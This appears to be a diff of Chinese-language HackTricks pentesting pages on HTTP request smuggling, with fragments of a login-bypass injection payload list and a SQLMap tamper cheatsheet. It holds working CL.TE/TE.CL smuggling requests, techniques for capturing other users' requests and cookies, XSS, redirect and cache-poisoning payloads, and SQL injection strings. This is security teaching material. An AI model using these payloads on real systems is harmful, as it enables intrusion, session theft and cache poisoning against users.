识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来发现此类漏洞:
|
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操控请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来发现此类漏洞:
|
||||||
|
|
||||||
### 使用时间技术查找 CL.TE 漏洞
|
### 使用时间技术查找 CL.TE 漏洞
|
||||||
|
|
||||||
|
@ -268,11 +276,11 @@ X
|
||||||
* **Content-Length 变异测试:**
|
* **Content-Length 变异测试:**
|
||||||
* 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理这些不匹配。
|
* 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理这些不匹配。
|
||||||
* **Transfer-Encoding 变异测试:**
|
* **Transfer-Encoding 变异测试:**
|
||||||
* 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器对这些操控的不同响应。
|
* 发送具有模糊或格式错误的 `Transfer-Encoding` 头部的请求,并监控前端和后端服务器如何对这些操控做出不同响应。
|
||||||
|
|
||||||
### HTTP 请求走私漏洞测试
|
### HTTP 请求走私漏洞测试
|
||||||
|
|
||||||
在确认时间技术的有效性后,验证客户端请求是否可以被操纵至关重要。一个简单的方法是尝试毒化你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
|
在确认时间技术的有效性后,验证客户端请求是否可以被操控至关重要。一个简单的方法是尝试毒化你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
|
||||||
|
|
||||||
**关键考虑事项**
|
**关键考虑事项**
|
||||||
|
|
||||||
|
@ -280,7 +288,7 @@ X
|
||||||
|
|
||||||
* **独立网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两者使用相同连接并不能验证漏洞的存在。
|
* **独立网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两者使用相同连接并不能验证漏洞的存在。
|
||||||
* **一致的 URL 和参数:** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
|
* **一致的 URL 和参数:** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
|
||||||
* **时间和竞争条件:** “正常”请求旨在检测“攻击”请求的干扰,与其他并发应用请求竞争。因此,在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
|
* **时间和竞争条件:** “正常”请求旨在检测来自“攻击”请求的干扰,与其他并发应用请求竞争。因此,在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
|
||||||
* **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上,攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
|
* **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上,攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
|
||||||
* **意外用户影响:** 如果你的攻击无意中影响了另一个用户的请求(不是你发送的“正常”请求以进行检测),这表明你的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
|
* **意外用户影响:** 如果你的攻击无意中影响了另一个用户的请求(不是你发送的“正常”请求以进行检测),这表明你的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
|
||||||
|
|
||||||
|
@ -309,7 +317,7 @@ Content-Length: 10
|
||||||
|
|
||||||
x=
|
x=
|
||||||
```
|
```
|
||||||
在 CL.TE 攻击中,初始请求利用了 `Content-Length` 头,而随后的嵌入请求则使用 `Transfer-Encoding: chunked` 头。前端代理处理初始的 `POST` 请求,但未能检查嵌入的 `GET /admin` 请求,从而允许未经授权访问 `/admin` 路径。
|
在CL.TE攻击中,初始请求利用了`Content-Length`头,而后续嵌入请求则使用`Transfer-Encoding: chunked`头。前端代理处理初始`POST`请求,但未能检查嵌入的`GET /admin`请求,从而允许未经授权访问`/admin`路径。
|
||||||
|
|
||||||
**TE.CL 示例**
|
**TE.CL 示例**
|
||||||
```
|
```
|
||||||
|
@ -327,7 +335,7 @@ a=x
|
||||||
0
|
0
|
||||||
|
|
||||||
```
|
```
|
||||||
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入的请求则基于`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽视了被走私的`GET /admin`请求,无意中授予了对受限`/admin`路径的访问。
|
相反,在TE.CL攻击中,初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续的嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似,前端代理忽视了被走私的`GET /admin`请求,无意中授予了对受限`/admin`路径的访问。
|
||||||
|
|
||||||
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||||
|
|
||||||
|
@ -352,7 +360,7 @@ search=
|
||||||
```
|
```
|
||||||
在这个结构中,后续请求组件被附加在 `search=` 之后,这是在响应中反映的参数。这个反映将暴露后续请求的头部。
|
在这个结构中,后续请求组件被附加在 `search=` 之后,这是在响应中反映的参数。这个反映将暴露后续请求的头部。
|
||||||
|
|
||||||
重要的是要将嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反映的数据,而过高的值可能会导致请求出错。
|
重要的是要使嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始,并逐渐增加,因为过低的值会截断反映的数据,而过高的值可能会导致请求出错。
|
||||||
|
|
||||||
该技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
|
该技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
|
||||||
|
|
||||||
|
@ -382,20 +390,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||||
|
|
||||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||||
```
|
```
|
||||||
在这种情况下,**comment 参数**旨在存储在公开可访问页面的帖子评论部分中的内容。因此,后续请求的内容将作为评论出现。
|
在这种情况下,**comment 参数**旨在存储在公开可访问页面上帖子评论部分的内容。因此,后续请求的内容将作为评论出现。
|
||||||
|
|
||||||
然而,这种技术有其局限性。通常,它仅捕获到在走私请求中使用的参数分隔符。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
然而,这种技术有其局限性。通常,它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
|
||||||
|
|
||||||
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
|
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数。
|
||||||
|
|
||||||
### 使用 HTTP 请求走私来利用反射型 XSS
|
### 使用 HTTP 请求走私来利用反射型 XSS
|
||||||
|
|
||||||
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
|
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
|
||||||
|
|
||||||
* **不需要**与目标用户互动。
|
* 不需要与目标用户进行 **交互**。
|
||||||
* 允许在请求的 **通常无法达到** 的部分利用 XSS,例如 HTTP 请求头。
|
* 允许在 **通常无法达到** 的请求部分中利用 XSS,例如 HTTP 请求头。
|
||||||
|
|
||||||
在网站通过 User-Agent 头易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
|
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||||
|
@ -416,11 +424,11 @@ Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
A=
|
A=
|
||||||
```
|
```
|
||||||
这个有效载荷的结构旨在利用该漏洞,通过以下方式:
|
这个有效载荷的结构旨在利用漏洞,通过以下方式:
|
||||||
|
|
||||||
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部以指示开始进行走私。
|
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部以指示开始进行走私。
|
||||||
2. 随后跟随一个 `0`,标记块消息体的结束。
|
2. 随后跟随一个 `0`,标记块消息体的结束。
|
||||||
3. 然后,引入一个走私的 `GET` 请求,其中 `User-Agent` 头部注入了一个脚本 `<script>alert(1)</script>`,当服务器处理这个后续请求时触发 XSS。
|
3. 然后,引入一个走私的 `GET` 请求,其中 `User-Agent` 头部注入了一个脚本,`<script>alert(1)</script>`,当服务器处理这个后续请求时触发 XSS。
|
||||||
|
|
||||||
通过走私操控 `User-Agent`,该有效载荷绕过了正常请求约束,从而以非标准但有效的方式利用了反射型 XSS 漏洞。
|
通过走私操控 `User-Agent`,该有效载荷绕过了正常请求约束,从而以非标准但有效的方式利用了反射型 XSS 漏洞。
|
||||||
|
|
||||||
|
@ -432,7 +440,7 @@ A=
|
||||||
|
|
||||||
版本 HTTP/0.9 早于 1.0,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
|
版本 HTTP/0.9 早于 1.0,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
|
||||||
|
|
||||||
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,利用了请求走私和一个 **会回复用户输入的脆弱端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type` 为 `text/html`。
|
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,利用请求走私和一个 **会回复用户输入的易受攻击端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type` 为 `text/html`。
|
||||||
|
|
||||||
### 利用 HTTP 请求走私进行站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### 利用 HTTP 请求走私进行站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
|
@ -476,7 +484,7 @@ Location: https://attacker-website.com/home/
|
||||||
|
|
||||||
### 通过 HTTP 请求走私利用 Web 缓存中毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### 通过 HTTP 请求走私利用 Web 缓存中毒 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
如果 **前端基础设施的任何组件缓存内容**,通常是为了提高性能,则可以执行 Web 缓存中毒。通过操纵服务器的响应,可以 **毒化缓存**。
|
如果 **前端基础设施的任何组件缓存内容**,则可以执行 Web 缓存中毒,通常是为了提高性能。通过操纵服务器的响应,可以 **毒化缓存**。
|
||||||
|
|
||||||
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [基本示例](./#basic-examples))。同样,可以欺骗服务器以响应对 `/static/include.js` 的请求而提供 `/index.html` 内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问,可能导致服务拒绝(DoS)。
|
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [基本示例](./#basic-examples))。同样,可以欺骗服务器以响应对 `/static/include.js` 的请求而提供 `/index.html` 内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问,可能导致服务拒绝(DoS)。
|
||||||
|
|
||||||
|
@ -524,7 +532,7 @@ x=1
|
||||||
`GET /private/messages HTTP/1.1`\
|
`GET /private/messages HTTP/1.1`\
|
||||||
`Foo: X`
|
`Foo: X`
|
||||||
```
|
```
|
||||||
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
|
||||||
|
|
||||||
### 通过HTTP请求走私滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### 通过HTTP请求走私滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
|
@ -545,7 +553,7 @@ Host: vulnerable.com
|
||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
```
|
```
|
||||||
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。这个请求将只会返回一个GET请求的**头部**(其中包括**`Content-Type`**)。然后立即在HEAD请求后伪装一个TRACE请求,这将**反射发送的数据**。\
|
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。这个请求将只会返回一个GET请求的**头部**(**`Content-Type`**在其中)。然后在HEAD请求后**立即伪装一个TRACE请求**,该请求将**反射发送的数据**。\
|
||||||
由于HEAD响应将包含一个`Content-Length`头,**TRACE请求的响应将被视为HEAD响应的主体,因此在响应中反射任意数据**。\
|
由于HEAD响应将包含一个`Content-Length`头,**TRACE请求的响应将被视为HEAD响应的主体,因此在响应中反射任意数据**。\
|
||||||
这个响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件中,例如注入任意JS代码**。
|
这个响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件中,例如注入任意JS代码**。
|
||||||
|
|
||||||
|
@ -553,7 +561,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
|
|
||||||
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议了另一种滥用TRACE方法的方式。如评论所述,伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示,并由TRACE请求的响应形成。
|
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议了另一种滥用TRACE方法的方式。如评论所述,伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示,并由TRACE请求的响应形成。
|
||||||
|
|
||||||
因此,新的想法是,知道这个Content-Length和TRACE响应中给出的数据,可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应,从而允许攻击者完全控制下一个响应的请求(这可以用于执行缓存中毒)。
|
因此,新的想法是,知道这个Content-Length和TRACE响应中给出的数据,可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应,从而允许攻击者完全控制下一个响应的请求(这可以用于执行缓存污染)。
|
||||||
|
|
||||||
示例:
|
示例:
|
||||||
```
|
```
|
||||||
|
@ -711,9 +719,9 @@ table.add(req)
|
||||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP模糊测试器,有助于发现奇怪的请求走私差异。
|
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是一个基于语法的HTTP模糊测试工具,有助于发现奇怪的请求走私差异。
|
||||||
|
|
||||||
## 参考资料
|
## 参考
|
||||||
|
|
||||||
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||||
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||||
|
@ -725,17 +733,25 @@ table.add(req)
|
||||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -13,6 +13,13 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
此列表包含 **通过 XPath、LDAP 和 SQL 注入绕过登录的有效载荷**(按此顺序)。
|
此列表包含 **通过 XPath、LDAP 和 SQL 注入绕过登录的有效载荷**(按此顺序)。
|
||||||
|
|
||||||
|
@ -823,17 +830,26 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
||||||
%8C%A8%27)||1-- 2
|
%8C%A8%27)||1-- 2
|
||||||
%bf')||1-- 2
|
%bf')||1-- 2
|
||||||
```
|
```
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# SQLMap - Cheatsheet
|
# SQLMap - Cheatsheet
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -17,7 +17,9 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -156,34 +158,34 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||||
```
|
```
|
||||||
| Tamper | Description |
|
| Tamper | Description |
|
||||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
|
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
|
||||||
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
|
| apostrophenullencode.py | 用其非法双 Unicode 对应字符替换撇号字符 |
|
||||||
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
|
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
|
||||||
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
|
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
|
||||||
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
|
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
|
||||||
